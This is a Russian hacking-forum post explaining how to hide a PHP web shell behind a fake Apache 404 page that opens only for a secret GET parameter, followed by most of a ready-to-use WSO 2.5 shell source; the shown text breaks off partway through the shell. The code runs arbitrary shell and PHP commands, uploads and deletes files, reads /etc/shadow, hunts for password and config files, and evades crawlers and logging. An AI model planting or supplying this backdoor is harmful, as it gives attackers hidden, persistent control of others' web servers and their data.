1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Прячем шелл

Тема в разделе "Чужие", создана пользователем googie, 28 янв 2013.

  1. TopicStarter Overlay
    googie

    googie Команда форума

    Регистрация:
    27 июл 2012
    Сообщения:
    824
    Симпатии:
    616
    В общем пишу как можно спрятать шелл под 404-й ошибкой, идея навеяна шелом под названием Please login or register to view links. Все бы ничего, но все таки есть небольшая вероятность что админ пропалит поле для пароля, да и сам шелл как-то не очень мне нравится, WSO всяко лучше :smile:. Итак, приступим.
    Показывать буду на том же Please login or register to view links шеле. Суть этого метода заключается в том, чтобы шелл вылазил только при передачи GET переменной. Ну а теперь к реализации :smile:.
    Открываем шелл и видим код, после <?php пишем следующий код:
    Код:
    # getpass - переменная которую передаем
    # brutezone - значение переменной, при которой шелл явится нам :D
    if ($_GET['getpass'] == 'brutezone'){
    далее листаем в самый низ и вставляем такой код:


    Код:
    }else{
    echo'
    <h1>Not Found</h1>
    <p>The requested URL was not found on this server.</p>
    <hr>
    <address>Apache Server at '.$_SERVER['HTTP_HOST'].' Port 80</address>
    ';
    }
    Сохраняем, переименовываем шел как 404.php и на этом с шеллом все. Теперь нет никаких текстовых полей, а для того чтобы попасть в админку нужно прописать в адресной строке следуещее:


    Код:
    http://путь_до_шела/404.php?getpass=brutezone
    
    и вот перед вами шелл :smile:

    Для особо ленивых, даю готовый шелл :)
    PHP:
    <?php
    if ($_GET['getpass'] == 'brutezone'){
    $auth_pass '43972ba25c1c3ad25301dea21a51d083';
    $color "#df5";
    $default_action 'FilesMan';
    $default_use_ajax true;
    $default_charset 'Windows-1251';
     
    if(!empty(
    $_SERVER['HTTP_USER_AGENT'])) {
        
    $userAgents = array("Google""Slurp""MSNBot""ia_archiver""Yandex""Rambler");
        if(
    preg_match('/' implode('|'$userAgents) . '/i'$_SERVER['HTTP_USER_AGENT'])) {
            
    header('HTTP/1.0 404 Not Found');
            exit;
        }
    }
     
    @
    ini_set('error_log',NULL);
    @
    ini_set('log_errors',0);
    @
    ini_set('max_execution_time',0);
    @
    set_time_limit(0);
    @
    set_magic_quotes_runtime(0);
    @
    define('WSO_VERSION''2.5');
     
    if(
    get_magic_quotes_gpc()) {
        function 
    WSOstripslashes($array) {
            return 
    is_array($array) ? array_map('WSOstripslashes'$array) : stripslashes($array);
        }
        
    $_POST WSOstripslashes($_POST);
        
    $_COOKIE WSOstripslashes($_COOKIE);
    }
     
    function 
    wsoLogin() {
        die(
    "<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
    }
     
    function 
    WSOsetcookie($k$v) {
        
    $_COOKIE[$k] = $v;
        
    setcookie($k$v);
    }
     
    if(!empty(
    $auth_pass)) {
        if(isset(
    $_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
            
    WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
     
        if (!isset(
    $_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
            
    wsoLogin();
    }
     
    if(
    strtolower(substr(PHP_OS,0,3)) == "win")
        
    $os 'win';
    else
        
    $os 'nix';
     
    $safe_mode = @ini_get('safe_mode');
    if(!
    $safe_mode)
        
    error_reporting(0);
     
    $disable_functions = @ini_get('disable_functions');
    $home_cwd = @getcwd();
    if(isset(
    $_POST['c']))
        @
    chdir($_POST['c']);
    $cwd = @getcwd();
    if(
    $os == 'win') {
        
    $home_cwd str_replace("\\""/"$home_cwd);
        
    $cwd str_replace("\\""/"$cwd);
    }
    if(
    $cwd[strlen($cwd)-1] != '/')
        
    $cwd .= '/';
     
    if(!isset(
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
        
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
     
    if(
    $os == 'win')
        
    $aliases = array(
            
    "List Directory" => "dir",
            
    "Find index.php in current dir" => "dir /s /w /b index.php",
            
    "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
            
    "Show active connections" => "netstat -an",
            
    "Show running services" => "net start",
            
    "User accounts" => "net user",
            
    "Show computers" => "net view",
            
    "ARP Table" => "arp -a",
            
    "IP Configuration" => "ipconfig /all"
        
    );
    else
        
    $aliases = array(
              
    "List dir" => "ls -lha",
            
    "list file attributes on a Linux second extended file system" => "lsattr -va",
              
    "show opened ports" => "netstat -an | grep -i listen",
            
    "process status" => "ps aux",
            
    "Find" => "",
              
    "find all suid files" => "find / -type f -perm -04000 -ls",
              
    "find suid files in current dir" => "find . -type f -perm -04000 -ls",
              
    "find all sgid files" => "find / -type f -perm -02000 -ls",
              
    "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
              
    "find config.inc.php files" => "find / -type f -name config.inc.php",
              
    "find config* files" => "find / -type f -name \"config*\"",
              
    "find config* files in current dir" => "find . -type f -name \"config*\"",
              
    "find all writable folders and files" => "find / -perm -2 -ls",
              
    "find all writable folders and files in current dir" => "find . -perm -2 -ls",
              
    "find all service.pwd files" => "find / -type f -name service.pwd",
              
    "find service.pwd files in current dir" => "find . -type f -name service.pwd",
              
    "find all .htpasswd files" => "find / -type f -name .htpasswd",
              
    "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
              
    "find all .bash_history files" => "find / -type f -name .bash_history",
              
    "find .bash_history files in current dir" => "find . -type f -name .bash_history",
              
    "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
              
    "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
            
    "Locate" => "",
              
    "locate httpd.conf files" => "locate httpd.conf",
            
    "locate vhosts.conf files" => "locate vhosts.conf",
            
    "locate proftpd.conf files" => "locate proftpd.conf",
            
    "locate psybnc.conf files" => "locate psybnc.conf",
            
    "locate my.conf files" => "locate my.conf",
            
    "locate admin.php files" =>"locate admin.php",
            
    "locate cfg.php files" => "locate cfg.php",
            
    "locate conf.php files" => "locate conf.php",
            
    "locate config.dat files" => "locate config.dat",
            
    "locate config.php files" => "locate config.php",
            
    "locate config.inc files" => "locate config.inc",
            
    "locate config.inc.php" => "locate config.inc.php",
            
    "locate config.default.php files" => "locate config.default.php",
            
    "locate config* files " => "locate config",
            
    "locate .conf files"=>"locate '.conf'",
            
    "locate .pwd files" => "locate '.pwd'",
            
    "locate .sql files" => "locate '.sql'",
            
    "locate .htpasswd files" => "locate '.htpasswd'",
            
    "locate .bash_history files" => "locate '.bash_history'",
            
    "locate .mysql_history files" => "locate '.mysql_history'",
            
    "locate .fetchmailrc files" => "locate '.fetchmailrc'",
            
    "locate backup files" => "locate backup",
            
    "locate dump files" => "locate dump",
            
    "locate priv files" => "locate priv"
        
    );
     
    function 
    wsoHeader() {
        if(empty(
    $_POST['charset']))
            
    $_POST['charset'] = $GLOBALS['default_charset'];
        global 
    $color;
        echo 
    "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" $_POST['charset'] . "'><title>" $_SERVER['HTTP_HOST'] . " - WSO " WSO_VERSION ."</title>
    <style>
    body{background-color:#444;color:#e1e1e1;}
    body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
    table.info{ color:#fff;background-color:#222; }
    span,h1,a{ color: 
    $color !important; }
    span{ font-weight: bolder; }
    h1{ border-left:5px solid 
    $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
    div.content{ padding: 5px;margin-left:5px;background-color:#333; }
    a{ text-decoration:none; }
    a:hover{ text-decoration:underline; }
    .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
    .bigarea{ width:100%;height:300px; }
    input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid 
    $color; font: 9pt Monospace,'Courier New'; }
    form{ margin:0px; }
    #toolsTbl{ text-align:center; }
    .toolsInp{ width: 300px }
    .main th{text-align:left;background-color:#5e5e5e;}
    .main tr:hover{background-color:#5e5e5e}
    .l1{background-color:#444}
    .l2{background-color:#333}
    pre{font-family:Courier,Monospace;}
    </style>
    <script>
        var c_ = '" 
    htmlspecialchars($GLOBALS['cwd']) . "';
        var a_ = '" 
    htmlspecialchars(@$_POST['a']) ."'
        var charset_ = '" 
    htmlspecialchars(@$_POST['charset']) ."';
        var p1_ = '" 
    . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
        var p2_ = '" 
    . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
        var p3_ = '" 
    . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
        var d = document;
        function set(a,c,p1,p2,p3,charset) {
            if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
            if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
            if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
            if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
            if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
            if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
        }
        function g(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            d.mf.submit();
        }
        function a(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            var params = 'ajax=true';
            for(i=0;i<d.mf.elements.length;i++)
                params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
            sr('" 
    addslashes($_SERVER['REQUEST_URI']) ."', params);
        }
        function sr(url, params) {
            if (window.XMLHttpRequest)
                req = new XMLHttpRequest();
            else if (window.ActiveXObject)
                req = new ActiveXObject('Microsoft.XMLHTTP');
            if (req) {
                req.onreadystatechange = processReqChange;
                req.open('POST', url, true);
                req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
                req.send(params);
            }
        }
        function processReqChange() {
            if( (req.readyState == 4) )
                if(req.status == 200) {
                    var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
                    var arr=reg.exec(req.responseText);
                    eval(arr[2].substr(0, arr[1]));
                } else alert('Request error!');
        }
    </script>
    <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
    <form method=post name=mf style='display:none;'>
    <input type=hidden name=a>
    <input type=hidden name=c>
    <input type=hidden name=p1>
    <input type=hidden name=p2>
    <input type=hidden name=p3>
    <input type=hidden name=charset>
    </form>"
    ;
        
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
        
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
        
    $totalSpace $totalSpace?$totalSpace:1;
        
    $release = @php_uname('r');
        
    $kernel = @php_uname('s');
        
    $explink 'http://exploit-db.com/search/?action=search&filter_description=';
        if(
    strpos('Linux'$kernel) !== false)
            
    $explink .= urlencode('Linux Kernel ' substr($release,0,6));
        else
            
    $explink .= urlencode($kernel ' ' substr($release,0,3));
        if(!
    function_exists('posix_getegid')) {
            
    $user = @get_current_user();
            
    $uid = @getmyuid();
            
    $gid = @getmygid();
            
    $group "?";
        } else {
            
    $uid = @posix_getpwuid(posix_geteuid());
            
    $gid = @posix_getgrgid(posix_getegid());
            
    $user $uid['name'];
            
    $uid $uid['uid'];
            
    $group $gid['name'];
            
    $gid $gid['gid'];
        }
     
        
    $cwd_links '';
        
    $path explode("/"$GLOBALS['cwd']);
        
    $n=count($path);
        for(
    $i=0$i<$n-1$i++) {
            
    $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
            for(
    $j=0$j<=$i$j++)
                
    $cwd_links .= $path[$j].'/';
            
    $cwd_links .= "\")'>".$path[$i]."/</a>";
        }
     
        
    $charsets = array('UTF-8''Windows-1251''KOI8-R''KOI8-U''cp866');
        
    $opt_charsets '';
        foreach(
    $charsets as $item)
            
    $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
     
        
    $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
        if(!empty(
    $GLOBALS['auth_pass']))
            
    $m['Logout'] = 'Logout';
        
    $m['Self remove'] = 'SelfRemove';
        
    $menu '';
        foreach(
    $m as $k => $v)
            
    $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
     
        
    $drives "";
        if(
    $GLOBALS['os'] == 'win') {
            foreach(
    range('c','z') as $drive)
            if(
    is_dir($drive.':\\'))
                
    $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
        }
        echo 
    '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
          
    '<td><nobr>' substr(@php_uname(), 0120) . ' <a href="' $explink '" target=_blank>[exploit-db.com]</a></nobr><br>' $uid ' ( ' $user ' ) <span>Group:</span> ' $gid ' ( ' $group ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
          . 
    ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' date('Y-m-d H:i:s') . '<br>' wsoViewSize($totalSpace) . ' <span>Free:</span> ' wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' $cwd_links ' 'wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' $drives '</td>'
          
    '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' $opt_charsets '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
          
    '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' $menu '</tr></table><div style="margin:5">';
    }
     
    function 
    wsoFooter() {
        
    $is_writable is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
        echo 
    "
    </div>
    <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
        <tr>
            <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" 
    htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
            <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
        </tr><tr>
            <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>
    $is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
            <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>
    $is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
        </tr><tr>
            <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
            <td><form method='post' ENCTYPE='multipart/form-data'>
            <input type=hidden name=a value='FilesMAn'>
            <input type=hidden name=c value='" 
    $GLOBALS['cwd'] ."'>
            <input type=hidden name=p1 value='uploadFile'>
            <input type=hidden name=charset value='" 
    . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
            <span>Upload file:</span>
    $is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
        </tr></table></div></body></html>"
    ;
    }
     
    if (!
    function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
        function 
    posix_getpwuid($p) {return false;} }
    if (!
    function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
        function 
    posix_getgrgid($p) {return false;} }
     
    function 
    wsoEx($in) {
        
    $out '';
        if (
    function_exists('exec')) {
            @
    exec($in,$out);
            
    $out = @join("\n",$out);
        } elseif (
    function_exists('passthru')) {
            
    ob_start();
            @
    passthru($in);
            
    $out ob_get_clean();
        } elseif (
    function_exists('system')) {
            
    ob_start();
            @
    system($in);
            
    $out ob_get_clean();
        } elseif (
    function_exists('shell_exec')) {
            
    $out shell_exec($in);
        } elseif (
    is_resource($f = @popen($in,"r"))) {
            
    $out "";
            while(!@
    feof($f))
                
    $out .= fread($f,1024);
            
    pclose($f);
        }
        return 
    $out;
    }
     
    function 
    wsoViewSize($s) {
        if(
    $s >= 1073741824)
            return 
    sprintf('%1.2f'$s 1073741824 ). ' GB';
        elseif(
    $s >= 1048576)
            return 
    sprintf('%1.2f'$s 1048576 ) . ' MB';
        elseif(
    $s >= 1024)
            return 
    sprintf('%1.2f'$s 1024 ) . ' KB';
        else
            return 
    $s ' B';
    }
     
    function 
    wsoPerms($p) {
        if ((
    $p 0xC000) == 0xC000)$i 's';
        elseif ((
    $p 0xA000) == 0xA000)$i 'l';
        elseif ((
    $p 0x8000) == 0x8000)$i '-';
        elseif ((
    $p 0x6000) == 0x6000)$i 'b';
        elseif ((
    $p 0x4000) == 0x4000)$i 'd';
        elseif ((
    $p 0x2000) == 0x2000)$i 'c';
        elseif ((
    $p 0x1000) == 0x1000)$i 'p';
        else 
    $i 'u';
        
    $i .= (($p 0x0100) ? 'r' '-');
        
    $i .= (($p 0x0080) ? 'w' '-');
        
    $i .= (($p 0x0040) ? (($p 0x0800) ? 's' 'x' ) : (($p 0x0800) ? 'S' '-'));
        
    $i .= (($p 0x0020) ? 'r' '-');
        
    $i .= (($p 0x0010) ? 'w' '-');
        
    $i .= (($p 0x0008) ? (($p 0x0400) ? 's' 'x' ) : (($p 0x0400) ? 'S' '-'));
        
    $i .= (($p 0x0004) ? 'r' '-');
        
    $i .= (($p 0x0002) ? 'w' '-');
        
    $i .= (($p 0x0001) ? (($p 0x0200) ? 't' 'x' ) : (($p 0x0200) ? 'T' '-'));
        return 
    $i;
    }
     
    function 
    wsoPermsColor($f) {
        if (!@
    is_readable($f))
            return 
    '<font color=#FF0000>' wsoPerms(@fileperms($f)) . '</font>';
        elseif (!@
    is_writable($f))
            return 
    '<font color=white>' wsoPerms(@fileperms($f)) . '</font>';
        else
            return 
    '<font color=#25ff00>' wsoPerms(@fileperms($f)) . '</font>';
    }
     
    function 
    wsoScandir($dir) {
        if(
    function_exists("scandir")) {
            return 
    scandir($dir);
        } else {
            
    $dh  opendir($dir);
            while (
    false !== ($filename readdir($dh)))
                
    $files[] = $filename;
            return 
    $files;
        }
    }
     
    function 
    wsoWhich($p) {
        
    $path wsoEx('which ' $p);
        if(!empty(
    $path))
            return 
    $path;
        return 
    false;
    }
     
    function 
    actionSecInfo() {
        
    wsoHeader();
        echo 
    '<h1>Server security information</h1><div class=content>';
        function 
    wsoSecParam($n$v) {
            
    $v trim($v);
            if(
    $v) {
                echo 
    '<span>' $n ': </span>';
                if(
    strpos($v"\n") === false)
                    echo 
    $v '<br>';
                else
                    echo 
    '<pre class=ml1>' $v '</pre>';
            }
        }
     
        
    wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
        if(
    function_exists('apache_get_modules'))
            
    wsoSecParam('Loaded Apache modules'implode(', 'apache_get_modules()));
        
    wsoSecParam('Disabled PHP Functions'$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
        
    wsoSecParam('Open base dir', @ini_get('open_basedir'));
        
    wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
        
    wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
        
    wsoSecParam('cURL support'function_exists('curl_version')?'enabled':'no');
        
    $temp=array();
        if(
    function_exists('mysql_get_client_info'))
            
    $temp[] = "MySql (".mysql_get_client_info().")";
        if(
    function_exists('mssql_connect'))
            
    $temp[] = "MSSQL";
        if(
    function_exists('pg_connect'))
            
    $temp[] = "PostgreSQL";
        if(
    function_exists('oci_connect'))
            
    $temp[] = "Oracle";
        
    wsoSecParam('Supported databases'implode(', '$temp));
        echo 
    '<br>';
     
        if(
    $GLOBALS['os'] == 'nix') {
                
    wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
                
    wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
                
    wsoSecParam('OS version', @file_get_contents('/proc/version'));
                
    wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
                if(!
    $GLOBALS['safe_mode']) {
                    
    $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                    
    $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                    
    $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                    echo 
    '<br>';
                    
    $temp=array();
                    foreach (
    $userful as $item)
                        if(
    wsoWhich($item))
                            
    $temp[] = $item;
                    
    wsoSecParam('Userful'implode(', ',$temp));
                    
    $temp=array();
                    foreach (
    $danger as $item)
                        if(
    wsoWhich($item))
                            
    $temp[] = $item;
                    
    wsoSecParam('Danger'implode(', ',$temp));
                    
    $temp=array();
                    foreach (
    $downloaders as $item)
                        if(
    wsoWhich($item))
                            
    $temp[] = $item;
                    
    wsoSecParam('Downloaders'implode(', ',$temp));
                    echo 
    '<br/>';
                    
    wsoSecParam('HDD space'wsoEx('df -h'));
                    
    wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                    echo 
    '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                    if (isset (
    $_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                        
    $temp "";
                        for(;
    $_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                            
    $uid = @posix_getpwuid($_POST['p2']);
                            if (
    $uid)
                                
    $temp .= join(':',$uid)."\n";
                        }
                        echo 
    '<br/>';
                        
    wsoSecParam('Users'$temp);
                    }
                }
        } else {
            
    wsoSecParam('OS Version',wsoEx('ver'));
            
    wsoSecParam('Account Settings',wsoEx('net accounts'));
            
    wsoSecParam('User Accounts',wsoEx('net user'));
        }
        echo 
    '</div>';
        
    wsoFooter();
    }
     
    function 
    actionPhp() {
        if(isset(
    $_POST['ajax'])) {
            
    WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax'true);
            
    ob_start();
            eval(
    $_POST['p1']);
            
    $temp "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
            echo 
    strlen($temp), "\n"$temp;
            exit;
        }
        if(empty(
    $_POST['ajax']) && !empty($_POST['p1']))
            
    WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax'0);
     
        
    wsoHeader();
        if(isset(
    $_POST['p2']) && ($_POST['p2'] == 'info')) {
            echo 
    '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
            
    ob_start();
            
    phpinfo();
            
    $tmp ob_get_clean();
            
    $tmp preg_replace(array (
                
    '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
                
    '!td, th {(.*)}!msiU',
                
    '!<img[^>]+>!msiU',
            ), array (
                
    '',
                
    '.e, .v, .h, .h th {$1}',
                
    ''
            
    ), $tmp);
            echo 
    str_replace('<h1','<h2'$tmp) .'</div><br>';
        }
        echo 
    '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
        echo 
    ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
        if(!empty(
    $_POST['p1'])) {
            
    ob_start();
            eval(
    $_POST['p1']);
            echo 
    htmlspecialchars(ob_get_clean());
        }
        echo 
    '</pre></div>';
        
    wsoFooter();
    }
     
    function 
    actionFilesMan() {
        if (!empty (
    $_COOKIE['f']))
            
    $_COOKIE['f'] = @unserialize($_COOKIE['f']);
     
        if(!empty(
    $_POST['p1'])) {
            switch(
    $_POST['p1']) {
                case 
    'uploadFile':
                    if(!@
    move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
                        echo 
    "Can't upload file!";
                    break;
                case 
    'mkdir':
                    if(!@
    mkdir($_POST['p2']))
                        echo 
    "Can't create new dir";
                    break;
                case 
    'delete':
                    function 
    deleteDir($path) {
                        
    $path = (substr($path,-1)=='/') ? $path:$path.'/';
                        
    $dh  opendir($path);
                        while ( (
    $item readdir($dh) ) !== false) {
                            
    $item $path.$item;
                            if ( (
    basename($item) == "..") || (basename($item) == ".") )
                                continue;
                            
    $type filetype($item);
                            if (
    $type == "dir")
                                
    deleteDir($item);
                            else
                                @
    unlink($item);
                        }
                        
    closedir($dh);
                        @
    rmdir($path);
                    }
                    if(
    is_array(@$_POST['f']))
                        foreach(
    $_POST['f'] as $f) {
                            if(
    $f == '..')
                                continue;
                            
    $f urldecode($f);
                            if(
    is_dir($f))
                                
    deleteDir($f);
                            else
                                @
    unlink($f);
                        }
                    break;
                case 
    'paste':
                    if(
    $_COOKIE['act'] == 'copy') {
                        function 
    copy_paste($c,$s,$d){
                            if(
    is_dir($c.$s)){
                                
    mkdir($d.$s);
                                
    $h = @opendir($c.$s);
                                while ((
    $f = @readdir($h)) !== false)
                                    if ((
    $f != ".") and ($f != ".."))
                                        
    copy_paste($c.$s.'/',$f$d.$s.'/');
                            } elseif(
    is_file($c.$s))
                                @
    copy($c.$s$d.$s);
                        }
                        foreach(
    $_COOKIE['f'] as $f)
                            
    copy_paste($_COOKIE['c'],$f$GLOBALS['cwd']);
                    } elseif(
    $_COOKIE['act'] == 'move') {
                        function 
    move_paste($c,$s,$d){
                            if(
    is_dir($c.$s)){
                                
    mkdir($d.$s);
                                
    $h = @opendir($c.$s);
                                while ((
    $f = @readdir($h)) !== false)
                                    if ((
    $f != ".") and ($f != ".."))
                                        
    copy_paste($c.$s.'/',$f$d.$s.'/');
                            } elseif(@
    is_file($c.$s))
                                @
    copy($c.$s$d.$s);
                        }
                        foreach(
    $_COOKIE['f'] as $f)
                            @
    rename($_COOKIE['c'].$f$GLOBALS['cwd'].$f);
                    } elseif(
    $_COOKIE['act'] == 'zip') {
                        if(
    class_exists('ZipArchive')) {
                            
    $zip = new ZipArchive();
                            if (
    $zip->open($_POST['p2'], 1)) {
                                
    chdir($_COOKIE['c']);
                                foreach(
    $_COOKIE['f'] as $f) {
                                    if(
    $f == '..')
                                        continue;
                                    if(@
    is_file($_COOKIE['c'].$f))
                                        
    $zip->addFile($_COOKIE['c'].$f$f);
                                    elseif(@
    is_dir($_COOKIE['c'].$f)) {
                                        
    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
                                        foreach (
    $iterator as $key=>$value) {
                                            
    $zip->addFile(realpath($key), $key);
                                        }
                                    }
                                }
                                
    chdir($GLOBALS['cwd']);
                                
    $zip->close();
                            }
                        }
                    } elseif(
    $_COOKIE['act'] == 'unzip') {
                        if(
    class_exists('ZipArchive')) {
                            
    $zip = new ZipArchive();
                            foreach(
    $_COOKIE['f'] as $f) {
                                if(
    $zip->open($_COOKIE['c'].$f)) {
                                    
    $zip->extractTo($GLOBALS['cwd']);
                                    
    $zip->close();
                                }
                            }
                        }
                    } elseif(
    $_COOKIE['act'] == 'tar') {
                        
    chdir($_COOKIE['c']);
                        
    $_COOKIE['f'] = array_map('escapeshellarg'$_COOKIE['f']);
                        
    wsoEx('tar cfzv ' escapeshellarg($_POST['p2']) . ' ' implode(' '$_COOKIE['f']));
                        
    chdir($GLOBALS['cwd']);
                    }
                    unset(
    $_COOKIE['f']);
                    
    setcookie('f'''time() - 3600);
                    break;
                default:
                    if(!empty(
    $_POST['p1'])) {
                        
    WSOsetcookie('act'$_POST['p1']);
                        
    WSOsetcookie('f'serialize(@$_POST['f']));
                        
    WSOsetcookie('c', @$_POST['c']);
                    }
                    break;
            }
        }
        
    wsoHeader();
        echo 
    '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
        
